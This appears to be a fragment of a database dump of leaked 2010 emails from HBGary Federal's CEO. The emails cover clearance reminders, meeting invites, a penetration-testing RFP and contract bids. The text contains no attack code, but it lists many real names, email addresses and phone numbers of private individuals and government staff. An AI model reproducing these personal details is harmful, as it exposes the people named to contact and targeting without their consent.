received.\r\n\r\n&nbsp;\r\n\r\nBill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 08, 2010 11:03 AM\r\nTo: Choate, William R (TASC)\r\nSubject: Fwd: Need Clearances passed ASAP for ReBl\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis was sent yesterday though right?\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Liddy, Corinne\r\nC&quot; &lt;ccliddy@nsa.gov&gt;\r\nDate: June 8, 2010 10:32:33 AM EDT\r\nTo: &lt;aaron@hbgary.com&gt;, &lt;edward.nugent@pacom.mil&gt;, &lt;ewshees@nsa.gov&gt;, &lt;xxxtesmit2@nsa.gov&gt;, &quot;Sullivan,\r\nMatthew W&quot; &lt;mwsull3@nsa.gov&gt;,\r\n&lt;Harry.Wearne@gchq.gsi.gov.uk&gt;,\r\n&lt;karen.danesi@gchq.gsi.gov.uk&gt;,\r\n&lt;david.borden@lackland.af.mil&gt;,\r\n&lt;aclark@mitre.org&gt;, &lt;adam.long@ogn.af.mil&gt;, &lt;Michael.Sohn@ic.fbi.gov&gt;, &lt;Donna.Martin@disa.mil&gt;, &lt;Ann.Barron-DiCamillo@disa.mil&gt;,\r\n&quot;Toll, Michael &quot; &lt;mjtoll@nsa.gov&gt;,\r\n&lt;nziring@thecouch.ncsc.mil&gt;,\r\n&lt;windsor_stephen@bah.com&gt;,\r\n&lt;mark.debels@dc3.mil&gt;,\r\n&quot;Carbin, Jeffery J.&quot; &lt;j.carbin@radium.ncsc.mil&gt;,\r\n&lt;HeatherRT@gmail.com&gt;, &lt;Michael.Bingham@osd.mil&gt;, &lt;skbohli@missi.ncsc.mil&gt;, &lt;rjlarso@missi.ncsc.mil&gt;,\r\n&quot;Rogers, Bruce J&quot; &lt;bjroger@nsa.gov&gt;,\r\n&quot;Graham, Kimberly A&quot; &lt;kagraha@nsa.gov&gt;,\r\n&lt;Peter.Parker@g2-inc.com&gt;\r\nCc: &lt;rebl@nsa.gov&gt;, &quot;Scott\r\nK. Brown&quot; &lt;sbrown@dewnet.ncsc.mil&gt;\r\nSubject: Need Clearances passed ASAP for ReBl\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf\r\nyou are receiving this email it is because Johns Hopkins University Applied\r\nPhysics Lab (JHU-APL) has not received your clearances yet.&nbsp; Those\r\nclearances need to be sent ASAP.&nbsp; The directions on passing your clearance\r\nare in the attached document.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIf\r\nthere are any issues please let me know.\r\n\r\n&nbsp;\r\n\r\nR,\r\n\r\nCorinne\r\n\r\n\r\n&nbsp;\r\n\r\n_______________________________________________________________________________\r\n\r\nCorinne Liddy\r\n\r\nRed/Blue Team Planner\r\n\r\n410.854.8964\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6719,'aaron_hbgary_com/6719.html'),(7185,'2010-06-08','\"JD Kathuria\" <jd@executivebiz.com>','/aaron@hbgary.com/new/1297005226.M983850P14101Q2040.eml','','Invite - ExecutiveBiz 4x24 Dinner Series (Group 11)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, January 26, 2011 5:30 PM-8:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 2941 Restaurant (2941 Fairview Park Drive, Falls Church, VA 22042)\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nDear 4x24 Member;\r\n&nbsp;\r\nPlease join us on Wednesday, January 26th for the 4th and Final dinner of the ExecutiveBiz 4x24 2010 Dinner Series.&nbsp; \r\n&nbsp;\r\nThis dinner will be held at 2941 Restaurant (2941 Fairview Park Drive, Falls Church, VA 22042) with networking starting at 5:30pm and dinner commencing at 6:30pm.\r\n&nbsp;\r\nThe Chairman for your group is Bill Varner (President, Mission, Cyber &amp; Technology Solutions Group at ManTech).\r\n&nbsp;\r\nIf you have any additional questions, please contact me or Nicole Kaboli at 703-226-7006 or nicole@executivebiz.com.\r\n&nbsp;\r\nThanks so much,\r\n&nbsp;\r\nJD\r\n&nbsp;\r\nJD Kathuria\r\n\r\nEditor-in-Chief | ExecutiveBiz\r\n\r\no: 703 – 226 - 7010\r\n\r\nf: 703 – 752-7454\r\n\r\nExecutiveBiz is a weekly digital magazine and membership organization. Learn more: http://www.executivebiz.com\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',1763,'aaron_hbgary_com/1763.html'),(7186,'2010-06-08','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297005227.M352819P14101Q2041.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','COIN Strategy and Teaming Discussion','\r\n\r\n\r\n\r\n\r\nCOIN Strategy and Teaming Discussion\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, June 09, 2010 9:00 AM-10:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF3 - Ticondaroga Room (3rd Floor, Suite 300)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n*** Note new Location ***\r\n\r\nWe will discuss:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latest news on the COIN teaming efforts\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Review of white paper, inputs necessary\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Upcoming events - team discussions, etc\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Discussion on strategy, and plans\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\nChris \r\n\r\n\r\n',12461,'aaron_hbgary_com/12461.html'),(7187,'2010-06-08','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','/aaron@hbgary.com/new/1297005227.M710660P14101Q2042.eml','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Rademacher, Michael B (TASC)\" <michael.rademacher@TASC.COM>,aaron@hbgary.com','Canceled: COIN Technology','\r\n\r\n\r\n\r\n\r\nCanceled: COIN Technology\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, June 08, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: SCIF Conf. Room 3E (Westfields 3)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',10772,'aaron_hbgary_com/10772.html'),(7188,'2010-06-08','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297005245.M505537P14101Q2043.eml','\"Aaron Barr\" <aaron@hbgary.com>','PointAbout Capabilities Deck IMF.ppt','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11858,'aaron_hbgary_com/11858.html'),(7189,'2010-06-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005246.M756198P14101Q2044.eml','\"Barr Aaron\" <aaron@hbgary.com>','FW: Commercial Integration Demo meeting','Does this work?\r\n\r\n-----Original Message-----\r\nFrom: Nathan Atherley [mailto:nathan.atherley@farallon-research.com] \r\nSent: Tuesday, June 08, 2010 5:30 AM\r\nTo: Bob Graham; Penny Leavy-Hoglund; Economou, George; Ray Owen; jack\r\nkretovics; jhayes@blackridge.us\r\nSubject: Commercial Integration Demo meeting\r\n\r\nJohn, Penny, George, Jack\r\n\r\nWe would like to have a kick off meeting in the Washington DC area \r\naround the 7th-9th of July for the sponsored Commercial Integration Demo \r\ninvolving your companies.  We can host at our offices in Crystal City, \r\nwhich will then give us good access to the customer.\r\n\r\nIf these dates do not work, please let me know and we will start looking \r\nother times.\r\n\r\nthanks\r\n\r\nnathan\r\n\r\n\r\n\r\n',3620,'aaron_hbgary_com/3620.html'),(7190,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005247.M23883P14101Q2045.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Commercial Integration Demo meeting','Yep\r\n\r\n From my iPhone\r\n\r\nOn Jun 8, 2010, at 1:57 PM, Penny Leavy-Hoglund \r\nwrote:\r\n\r\n> Does this work?\r\n>\r\n> -----Original Message-----\r\n> From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\n> Sent: Tuesday, June 08, 2010 5:30 AM\r\n> To: Bob Graham; Penny Leavy-Hoglund; Economou, George; Ray Owen; jack\r\n> kretovics; jhayes@blackridge.us\r\n> Subject: Commercial Integration Demo meeting\r\n>\r\n> John, Penny, George, Jack\r\n>\r\n> We would like to have a kick off meeting in the Washington DC area\r\n> around the 7th-9th of July for the sponsored Commercial Integration\r\n> Demo\r\n> involving your companies.  We can host at our offices in Crystal City,\r\n> which will then give us good access to the customer.\r\n>\r\n> If these dates do not work, please let me know and we will start\r\n> looking\r\n> other times.\r\n>\r\n> thanks\r\n>\r\n> nathan\r\n>\r\n>\r\n>\r\n',2757,'aaron_hbgary_com/2757.html'),(7191,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005247.M243731P14101Q2046.eml','\"Heider, Raymond A (TASC)\" <raymond.heider@tasc.com>,\"Heider, Raymond A (TASC)\" <raymond.heider@tasc.com>,,','Re: Canceled: COIN Technology','All,\r\n\r\nI had a very good customer visit today.  Met with John, Mary Beth, and\r\nMarek.  I also had a good meeting with a mobile development company,\r\nPointAbout Inc. That has some discriminating technology.  More to talk\r\nabout in person.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 8, 2010, at 1:24 PM, \"Heider, Raymond A (TASC)\"\r\n wrote:\r\n\r\n> \r\n',5905,'aaron_hbgary_com/5905.html'),(7192,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005248.M261782P14101Q2047.eml','\"Barr Aaron\" <aaron@hbgary.com>','Updated Financials -- use this one','Attached-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',6419,'aaron_hbgary_com/6419.html'),(7193,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005248.M520677P14101Q2048.eml','\"William Luti\" <williamluti@verizon.net>','Re: Catch up','I am in Chantilly in the morning until 11am.  Are you in Reston or Tysons?  I don\'t plan to make it up to Bethesda tomorrow.  Want to go for lunch or just coffee, either way good with me.  So suggestions:\r\n\r\nCoffee:\r\nReston Towncenter Starbucks\r\nTysons Starbucks on Route 7 near Panera Bread.\r\n\r\nLunch:\r\nMon Ami Gabi in Reston Towncenter\r\nLebanese Taverna, Tysons Galleria II\r\n\r\nAaron\r\n\r\nOn Jun 8, 2010, at 10:47 AM, William Luti wrote:\r\n\r\n> Very good. I\'m free until 3pm so why don\'t you pick a time and location and I\'ll meet you there (I could come to your office as well, are you in Bethesda?). Bill\r\n> On Jun 8, 2010, at 10:35 AM, Aaron Barr wrote:\r\n> \r\n>> Hi Bill,\r\n>> \r\n>> Sounds good.  I am free tomorrow afternoon and have some time between 1030-2pm on Friday?\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Jun 8, 2010, at 10:14 AM, William Luti wrote:\r\n>> \r\n>>> Aaron, \r\n>>> \r\n>>> Are you available for coffee am/pm this week. Would like to catch up and discuss business opportunities. \r\n>>> \r\n>>> Best,\r\n>>> \r\n>>> Bill\r\n>>> \r\n>>> (202)277-8361 cell\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8564,'aaron_hbgary_com/8564.html'),(7194,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005248.M727993P14101Q2049.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Need your help at NG','Sure. &nbsp;I talked with Cal today. &nbsp;He is swamped for the next few weeks but wants me to give him a call in a few weeks to set up a meeting to chat with him, Bill, and a few other people.In the meantime I will reach out to Bill and his boss, Mark Leary, and try and set up a meeting to demo AD.AaronOn Jun 8, 2010, at 10:43 AM, Bob Slapnik wrote:Aaron,&nbsp;Cal Smith of NG has an IRAD project to integrate an end-to-end cyber defense system.&nbsp; Phase I is a network-based sandbox that will run binaries in-line before they get to hosts.&nbsp; At present they are using Norman, Citrix, and open source software. &nbsp;REcon isn’t yet an option because it isn’t ready.&nbsp; Phase II = network and endpoints. Phase III = reporting. &nbsp;They see HBGary DDNA/ePO (HBSS) for the endpoint.&nbsp; When we showed them our s/w in April, Active Defense Defense didn’t exist yet.&nbsp;Their plans are (1) to get the working system deployed at the NG CSOC and (2) start selling the overall system to the gov’t.&nbsp;Here is where I need your help……… The CSOC and the APT teams are run by Bill Russell.&nbsp; Cal said you know Bill so it makes more sense for you to get into dialogue with him on my behalf.&nbsp; Could you contact him and arrange a meeting where we can come in to give a demo?&nbsp;Cal said he has 100% assurance that the NG CSOC will deploy what he builds.&nbsp; NG has 120k nodes so this could be a significant opportunity.&nbsp; Cal said he expects to have something the CSOC can deploy by Oct or Nov.&nbsp;Next step with Cal is do another demo next week where we demo our newest bits to his growing team that has new members.&nbsp;&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12528,'aaron_hbgary_com/12528.html'),(7195,'2010-06-08','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297005248.M976109P14101Q2050.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Aaron Barr\" <aaron@hbgary.com>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','RE: Canceled: COIN Technology','Aaron:\r\nThanks.\r\nWe need to get ourselves together asap to discuss.\r\n\r\nJLovegrove, can you please pull this together asap.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 08, 2010 2:26 PM\r\nTo: Heider, Raymond A (TASC)\r\nCc: Pisani, Albert A. (TASC); Lovegrove, John (TASC); Rademacher,\r\nMichael B (TASC)\r\nSubject: Re: Canceled: COIN Technology\r\n\r\nAll,\r\n\r\nI had a very good customer visit today.  Met with John, Mary Beth, and\r\nMarek.  I also had a good meeting with a mobile development company,\r\nPointAbout Inc. That has some discriminating technology.  More to talk\r\nabout in person.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 8, 2010, at 1:24 PM, \"Heider, Raymond A (TASC)\"\r\n wrote:\r\n\r\n> \r\n',11758,'aaron_hbgary_com/11758.html'),(7196,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005250.M398607P14101Q2051.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Funding','Penny,Attached is the funding spreadsheet you requested.  Aaron and I would like to discuss / explain when you have a chance.  We&#39;re going to give you a call now if you&#39;re available.\r\nTed\r\n\r\n',4461,'aaron_hbgary_com/4461.html'),(7197,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005258.M721443P14101Q2052.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Request for Proposal (RFP) No. 86524-RFP-10, iSupplier/iRecruitment Penetration Testing','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Ira Entis \r\n> Date: June 7, 2010 11:55:10 PM EDT\r\n> To: Aaron Barr \r\n> Cc: Jerry McClure , Mari Jo Boynton \r\n> Subject: Fwd: Request for Proposal (RFP) No. 86524-RFP-10, iSupplier/iRecruitment Penetration Testing\r\n> \r\n> Aaron -- We need to formally submit an RFP reply to LANL.  Please start reviewing the attached.  Are you all free tomorrow PM or Wednesday for a discussion about our response?\r\n> \r\n> Thanks,\r\n> \r\n> Ira\r\n> \r\n> \r\n> Begin forwarded message:\r\n> \r\n> From: John Harllee \r\n> Date: June 3, 2010 7:08:25 PM EDT\r\n> To: Ira Entis , Jerry McClure \r\n> Subject: Fwd: Request for Proposal (RFP) No. 86524-RFP-10, iSupplier/iRecruitment Penetration Testing\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Begin forwarded message:\r\n> \r\n>> From: \"Terri L. Villareal\" \r\n>> To: \"John Harllee\" \r\n>> Cc: \"dataylor@lanl.gov\" , \"tlmtz@lanl.gov\" , \"susiet@lanl.gov\" \r\n>> Subject: Request for Proposal (RFP) No. 86524-RFP-10, iSupplier/iRecruitment Penetration Testing\r\n>> \r\n>> Mr. Harllee,\r\n>> \r\n>> Attached please find  Request for Proposal (RFP) No. 86524-RFP-10 for iSupplier/iRecruitment Penetration Testing, in accordance with the attached proposal and draft subcontract documents.\r\n>> \r\n>> LANL does not have your company in our vendor database; therefore, please complete, sign, and return the attached W-9 as well.\r\n>> \r\n>> Please respond to this request no later than 3:00 PM Mountain Time on June 18, 2010 or sooner.  Do not hesitate to contact me if you have questions.\r\n>> \r\n>> Regards,\r\n>> \r\n>> Terri L. Villareal\r\n>> Los Alamos National Laboratory\r\n>> ASM Subcontracts\r\n>> P.O. Box 1663, MS D442\r\n>> Los Alamos, NM  87545\r\n>> \r\n>> Phone:  (505) 667-3699\r\n>> Fax:  (505) 667-2153\r\n>> Email:  tlv@lanl.gov\r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1611,'aaron_hbgary_com/1611.html'),(7198,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005260.M178504P14101Q2053.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Request for Proposal (RFP) No. 86524-RFP-10, iSupplier/iRecruitment Penetration Testing','Hi Ira,Sure I am free tomorrow afternoon.AaronOn Jun 7, 2010, at 11:55 PM, Ira Entis wrote:Aaron -- We need to formally submit an RFP reply to LANL. &nbsp;Please start reviewing the attached. &nbsp;Are you all free tomorrow PM or Wednesday for a discussion about our response?Thanks,IraBegin forwarded message:From: John Harllee &lt;John.Harllee@agilex.com&gt;Date: June 3, 2010 7:08:25 PM EDTTo: Ira Entis &lt;Ira.Entis@agilex.com&gt;, Jerry McClure &lt;Jerry.McClure@agilex.com&gt;Subject: Fwd: Request for Proposal (RFP) No. 86524-RFP-10, iSupplier/iRecruitment Penetration TestingBegin forwarded message:From: \"Terri L. Villareal\" &lt;tlv@lanl.gov&gt;To: \"John Harllee\" &lt;John.Harllee@agilex.com&gt;Cc: \"dataylor@lanl.gov\" &lt;dataylor@lanl.gov&gt;, \"tlmtz@lanl.gov\" &lt;tlmtz@lanl.gov&gt;, \"susiet@lanl.gov\" &lt;susiet@lanl.gov&gt;Subject: Request for Proposal (RFP) No. 86524-RFP-10, iSupplier/iRecruitment Penetration TestingMr. Harllee,Attached please find &nbsp;Request for Proposal (RFP) No. 86524-RFP-10 for iSupplier/iRecruitment Penetration Testing, in accordance with the attached proposal and draft subcontract documents.LANL does not have your company in our vendor database; therefore, please complete, sign, and return the attached W-9 as well.Please respond to this request no later than 3:00 PM Mountain Time on June 18, 2010 or sooner. &nbsp;Do not hesitate to contact me if you have questions.Regards,Terri L. VillarealLos Alamos National LaboratoryASM SubcontractsP.O. Box 1663, MS D442Los Alamos, NM &nbsp;87545Phone: &nbsp;(505) 667-3699Fax: &nbsp;(505) 667-2153Email: &nbsp;tlv@lanl.gov&lt;mailto:tlv@lanl.gov&gt;&lt;RFP Letter, Instructions, and Proposal Letter.pdf&gt;&lt;ATT00001..htm&gt;&lt;ATT00001..htm&gt;&lt;ATT00002..htm&gt;&lt;Reps and Certs.doc&gt;&lt;ATT00003..htm&gt;&lt;ATT00002..htm&gt;&lt;ATT00004..htm&gt;&lt;New Mexico Non-Taxable Transaction Certificate - NM NTTC[.pdf&gt;&lt;ATT00005..htm&gt;&lt;ATT00003..htm&gt;&lt;ATT00006..htm&gt;&lt;Electronic Funds Transfer Authorization Form.pdf&gt;&lt;ATT00007..htm&gt;&lt;ATT00004..htm&gt;&lt;ATT00008..htm&gt;&lt;Sample Certificate of Liability Insurance.doc&gt;&lt;ATT00009..htm&gt;&lt;ATT00005..htm&gt;&lt;ATT00010..htm&gt;&lt;Draft Subcontract Form of Agreement, Appendix SFA-1, and Exhibits A-D.pdf&gt;&lt;ATT00011..htm&gt;&lt;ATT00006..htm&gt;&lt;ATT00012..htm&gt;&lt;Exhibit F ESH Requirements.pdf&gt;&lt;ATT00013..htm&gt;&lt;ATT00007..htm&gt;&lt;ATT00014..htm&gt;&lt;Exhibit G Security Requirements.pdf&gt;&lt;ATT00015..htm&gt;&lt;ATT00008..htm&gt;&lt;ATT00016..htm&gt;&lt;W-9 (Form 910).pdf&gt;&lt;ATT00017..htm&gt;&lt;ATT00009..htm&gt;&lt;ATT00018..htm&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13116,'aaron_hbgary_com/13116.html'),(7199,'2010-06-08','\"Sandra Swann\" <sandra@potomacofficersclub.com>','/aaron@hbgary.com/new/1297005260.M407521P14101Q2054.eml','aaron@hbgary.com','Feedback on POC Speaker\'s Event with Martha Johnson?','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  Aaron,\r\n  Your feedback is important! So, when you have a few\r\n  minutes, I&#8217;d appreciate speaking with you to hear your thoughts about\r\n  The Potomac Officers Club Speaker&#8217;s Event with Martha Johnson.&nbsp; \r\n  Martha Johnson Speaks at The Potomac Officers Club\r\n  http://blog.executivebiz.com/gsa-adminstrator-martha-johnson-speaks-to-potomac-officers-club-outlines-gsa-zero-environmental-footprint-next-steps/10108\r\n  http://www.gsa.gov/Portal/gsa/ep/contentView.do?contentType=GSA_BASIC&amp;contentId=29702\r\n  As the new Program Director for POC, I&#8217;ve been\r\n  reaching out to POC members &nbsp;to request ideas and recommendations for\r\n  &#8216;Headline Speakers on Headline Topics&#8221; for Potomac Officers\r\n  Club.&nbsp; &nbsp;I&#8217;d like to follow up and hear your perspective on a\r\n  number of membership questions about The Potomac Officers Club. Let me know\r\n  the best way to reach out to you.\r\n  Our next speaker is John Riggins, former\r\n  Washington Redskin and now, talk radio host of his own show, \r\n  &#8220; The John Riggins Show&#8221; on\r\n  WTOP&#8217;s HD3 radio station from 4-7P daily. If your company is interested\r\n  in sponsorship of this event, please let me know.&nbsp; https://www.potomacofficersclub.com/POC/event_next.php&nbsp;\r\n  \r\n  &nbsp;\r\n  I look forward to hearing from you!\r\n  Regards,\r\n  Sandra\r\n  Sandra\r\n  Swann\r\n  Program\r\n  Director, Potomac\r\n  Officers Club \r\n  &quot;Washington\r\n  DC\'s Exclusive Executive-Only Network&quot;\r\n  Direct:\r\n  (703) 226-7008&nbsp;&nbsp;\r\n  https://www.potomacofficersclub.com/POC/event_next.php\r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1400,'aaron_hbgary_com/1400.html'),(7200,'2010-06-08','\"Lemke, Michelle R.\" <michelle.lemke@gd-ais.com>','/aaron@hbgary.com/new/1297005260.M657998P14101Q2055.eml','\"Short, Nadia D.\" <Nadia.Short@gd-ais.com>,\"Mack, Cynthia M.\" <Cynthia.Mack@gd-ais.com>,\"Rawls, Rodger C.\" <Rodger.Rawls@gd-ais.com>,\"Burns, Destiny R.\" <Destiny.Burns@gd-ais.com>,\"McDonald, Rich L.\" <Rich.McDonald@gd-ais.com>,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,\"Prouty, Charlie S\" <Charlie.Prouty@GDIT.com>,\"Saxty, Lori J.\" <Lori.Saxty@gd-ais.com>,\"Metzler, Jay\" <Jmetzler@sms.com>,\"Bill Lillard\" <blillard@emesec.net>,\"Walter, Troy\" <Troy.Walter@gdit.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"Castrejon, Tomas M.\" <Tomas.Castrejon@gd-ais.com>,\"Autry, Errin L.\" <Errin.Autry@gd-ais.com>,\"Arismendi, Charles B.\" <Charles.Arismendi@gd-ais.com>,\"Anderson, Melvin\" <Melvin.Anderson@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Berthiaume, Richard A.\" <richard.berthiaume@gd-ais.com>,\"Cornell, Billie J.\" <Billie.Cornell@gd-ais.com>,\"Barrett, Rob J.\" <Rob.Barrett@gd-ais.com>,\"Burton, Roger C.\" <Roger.Burton@gd-ais.com>,\"Carron, Brian E.\" <Brian.Carron@gd-ais.com>,\"Brooks, Holly\" <Holly.Brooks@gd-ais.com>,\"Mondloch, Carrie H.\" <carrie.mondloch@gd-ais.com>,\"Joseph, Carol M.\" <Carol.Joseph@gd-ais.com>,\"Carolina, Shelby D.\" <shelby.carolina@gd-ais.com>,\"Carter, Richard (NE)\" <Richard.Carter@gd-ais.com>,\"Maria Horton\" <mchorton@emesec.net>,\"Jacks, Christopher\" <Christopher.Jacks@gdit.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Hickey, David T.\" <David.Hickey@gd-ais.com>,\"Duck, Kenneth I.\" <ken.duck@gd-ais.com>,\"Domingue, Duane D.\" <duane.domingue@gd-ais.com>,\"Jackson, Eric D.\" <eric.jackson@gd-ais.com>,\"Nieves, Efrain\" <Efrain.Nieves@gd-ais.com>,\"Lhotka, Erven R.\" <erven.lhotka@gd-ais.com>,\"Egloff, Susan C.\" <Susan.Egloff@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hilliard, Jennifer M.\" <Jennifer.Hilliard@gd-ais.com>,\"Hickey, David T.\" <David.Hickey@gd-ais.com>,\"Hart, Kelly J.\" <Kelly.Hart@gd-ais.com>,\"Hill, Pamela E.\" <Pamela.Hill@gd-ais.com>,\"Varga, Joan A.\" <Joan.Varga@gd-ais.com>,\"John Reed Stark\" <JStark@StrozFriedberg.com>,\"Michael, Jim A.\" <Jim.Michael@gd-ais.com>,\"Petrauskas, Karen J.\" <karen.petrauskas@gd-ais.com>,\"Satterfield, Linda S.\" <linda.satterfield@gd-ais.com>,\"Luna, Roby\" <rluna@sms.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"McLaine, Kate L.\" <Kate.McLaine@gd-ais.com>,\"White-Taber, Marjorie J.\" <marjorie.taber@gd-ais.com>,\"Green, Rosemary\" <rosemary.green@gd-ais.com>,\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>,\"Tilden, Michael J.\" <michael.tilden@gd-ais.com>,\"Newman, Christopher J.\" <Christopher.Newman@gd-ais.com>,\"Raja, Razwan N.\" <Razwan.Raja@gd-ais.com>,\"Walter, Troy\" <Troy.Walter@gdit.com>,\"Kyburz, William (EXT) (GDIT)\" <William.Kyburz@gdit.com>','RE: FBI ESOC - Thank You','\r\n\r\n\r\n\r\n\r\nRE: FBI ESOC - Thank You\r\n\r\n\r\n\r\n\r\nCongratulations goes out to the entire FBI ESOC team &#8211; Phase one of the technical evaluation has been completed and we have been selected for phase two (oral presentation)!!! The date for orals presentation is June 10, 2010 at 9:00 am.&nbsp;We have the 8 selected presenters and are working the slides and oral presentation today and tomorrow. We have scheduled a dial-in for 6:30 tonight and I would like the lead writers for each task area to dial in. others are welcome but functionals are not required as this is a technical working session to develop slide content. \r\n\r\nWe have also received clarification questions from the government and are required to respond with no more than 5 pages by noon on the 10th.&nbsp; Rick Berthiaume is currently working the response and may be asking leads for clarification so please respond to him promptly in order for us to finalize the document by our due date and time. 